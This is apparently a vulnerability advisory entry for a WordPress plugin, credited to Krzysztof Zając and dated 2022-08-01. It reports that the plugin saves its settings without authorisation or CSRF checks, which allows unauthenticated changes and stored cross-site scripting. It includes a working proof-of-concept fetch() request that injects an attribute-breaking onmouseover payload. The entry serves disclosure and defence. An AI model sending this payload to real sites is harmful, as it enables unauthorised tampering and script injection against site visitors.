The plugin does not have authorisation and CSRF checks when saving its settings, allowing unauthenticated users to update them. Furthermore, due to the lack of escaping in some of them, it could lead to Stored Cross-Site Scripting issues
fetch("/wp-admin/admin-ajax.php", { "headers": { "content-type": "application/x-www-form-urlencoded", }, "method": "POST", "body": "action=okapi_wasb_save_settings&number=\" style=position:fixed;left:0;top:0;right:0;bottom:0;z-index:9999\x0conmouseover=alert`1`\x0cppp&display_on_desktop=1&activate=1", "credentials": "include" }).then(response => response.text()) .then(data => console.log(data));
Krzysztof Zając
Krzysztof Zając
Yes
2022-08-01 (about 7 months ago)
2022-08-01 (about 7 months ago)
2022-08-01 (about 7 months ago)